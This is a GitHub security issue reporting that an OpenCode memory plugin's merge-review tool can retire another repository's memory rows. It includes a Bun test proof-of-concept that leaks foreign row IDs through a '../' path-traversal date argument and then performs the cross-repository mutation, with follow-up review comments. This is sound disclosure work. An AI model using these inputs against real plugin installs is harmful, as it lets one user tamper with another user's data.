Skip to content

security: memory_merge_review can supersede another repository's rows (medium) #131

Closed

Description

@WhollyMindless

Verified against upstream main at cf9b73c4f352bdc1fbd3c1332fca4183a63e3fb8 (0.14.9) during the 2026-10-26 security review, using Windows and Bun 1.3.10. Severity is a review priority, not a calculated CVSS score. The reproduction invokes actual plugin hooks/tools through the repository's fake-host harness; it is not a real-host end-to-end exploit.

Impact and cause

A session that knows another repository's row IDs can retire or reactivate those memories. Knowledge of a timestamp is effectively treated as authority to mutate that row.

The merge handler checks survivor existence against loadAll(), then calls the store-wide markSuperseded(loser) and clearSuperseded(survivor). It does not verify that either row is visible/owned by the caller's repository. The recent existence/self-merge checks do not enforce this boundary.

The reproduction runs as A, confirms B's row is invisible through the normal visibility predicate, obtains its timestamp through the separately reported evidence traversal, and calls merge-review with B as loser and A as survivor. The tool reports success and B's row is retired. The ownership flaw also exists if the IDs are known by some other means.

Expected behavior / acceptance

  • Resolve and authorize both loser and survivor against an immutable caller scope before any mutation; revalidate under the mutation lock.
  • A foreign loser or survivor is rejected with no row changes. Cover both directions and attempts to revive a foreign superseded survivor.
  • Define global-row mutation explicitly rather than implicitly granting whole-store authority.
  • Keep valid same-repository merges working and assert no partial mutation on rejection.

Related work

Distinct from #126's stale-review revival policy: this is missing repository authorization regardless of which revival semantics are chosen. Related: #121, #83 and the separately filed evidence traversal.

Reproduction

Save the following as security-review-repro.test.ts at the repository root of the reviewed revision and run bun test ./security-review-repro.test.ts --timeout 20000. All files are temporary fixtures and any model API is fake. These assertions deliberately confirm the current vulnerable behavior; passing means the bug reproduced, not that it is fixed. The fixtures are retained in the OS temp directory for inspection.

Self-contained Bun reproduction
// Review-only proofs against upstream cf9b73c (0.14.9). No real stores, keys, or model calls.
import { beforeEach, afterEach, expect, test } from 'bun:test';
import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { loadPlugin, type LoadedPlugin } from './test/harness.ts';
import { appendMemory, loadAll, isActive, isVisibleHere } from './src/memory.ts';
import { rememberSessionDir, resetSessionScopes, resolveRepo, setRepoScope } from './src/repokey.ts';
import { resetState, setCurrent } from './src/state.ts';
import { dateStr, evidenceDir } from './src/config.ts';
import { redactSecrets } from './src/secrets.ts';
import { resetCaptureCooldowns } from './src/index.ts';
import { startViewer, type ViewerServer } from './src/viewer/server.ts';

let root: string;
let a: string;
let b: string;
let plugin: LoadedPlugin | undefined;
let viewer: ViewerServer | undefined;
beforeEach(() => {
  root = mkdtempSync(join(tmpdir(), 'osi-security-proof-'));
  a = join(root, 'repo-a'); b = join(root, 'repo-b');
  mkdirSync(a); mkdirSync(b);
  process.env.OPENCODE_MEMORY_DIR = join(root, 'memory');
  process.env.OPENCODE_COMMANDS_DIR = join(root, 'commands');
  process.env.OPENCODE_CBM_BIN = join(root, 'no-graph-binary');
  resetState(); resetSessionScopes(); resetCaptureCooldowns(); setRepoScope(null);
});
afterEach(async () => {
  viewer?.server.stop(true); viewer = undefined;
  await plugin?.cleanup(); plugin = undefined;
  resetState(); resetSessionScopes(); setRepoScope(null);
  delete process.env.OPENCODE_MEMORY_DIR;
  delete process.env.OPENCODE_COMMANDS_DIR;
  delete process.env.OPENCODE_CBM_BIN;
  // Keep only synthetic temp fixtures for inspection; never touch user state.
});

test('confirmed: cross-repo IDs read through evidence can modify another repo through merge_review', async () => {
  plugin = await loadPlugin(a);
  rememberSessionDir('ses-a', a); rememberSessionDir('ses-b', b);
  const scopeA = resolveRepo(a), scopeB = resolveRepo(b);
  const survivor = await appendMemory({ type: 'context', scope: 'same', content: 'A survivor', repo: scopeA.key, repoPath: scopeA.path });
  const victim = await appendMemory({ type: 'context', scope: 'same', content: 'B protected', repo: scopeB.key, repoPath: scopeB.path });
  setCurrent({ sessionID: 'ses-a' });
  expect((await loadAll()).filter(isVisibleHere).some(m => m.ts === victim)).toBe(false);
  const leak = await plugin.tools.memory_evidence.execute({ date: '../' + dateStr() });
  expect(leak.content).toContain(victim);
  const result = await plugin.tools.memory_merge_review.execute({ loser: victim, survivor, reason: 'review proof' });
  expect(result.content).toContain('Resolved merge');
  expect((await loadAll()).find(m => m.ts === victim)?.superseded_by).toBe(survivor);
});

Activity

  1. WhollyMindless commented on Oct 26, 2026

    @WhollyMindless
    ContributorAuthor

    Follow-up review: partially addressed; please keep this issue open.

    #135 at c9791ed correctly rejects foreign rows for a properly bound caller, including a foreign superseded survivor. However, it inherits #133's unbound-session fallback: load plugin A, then B; call A's real merge tool with an unbound A session in ToolContext and two B-owned row IDs. The tool reports success and retires B's loser because the Reader borrows B's module-wide scope.

    Please resolve the caller's own repository or restrict an unresolved caller to global rows, and add an unbound/multiple-setup regression asserting no mutation. Knowledge of B's IDs must not become authority through a missing session binding.

    Detailed merge review and runnable probes · Root identity finding on #133. The probes use temporary stores and the fake-host harness on Windows / Bun 1.3.10. Please remove/defer the automatic closure claim until this remaining ownership case passes. The #135 review also documents a separate new error-reporting bug after audit-write failure.

  2. added a commit that references this issue on Oct 28, 2026
  3. abogartz-opencode-self-improvement commented on Oct 28, 2026

    @abogartz-opencode-self-improvement

    🎉 This issue has been resolved in version 0.14.13 🎉

    The release is available on:

    Your semantic-release bot 📦🚀

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions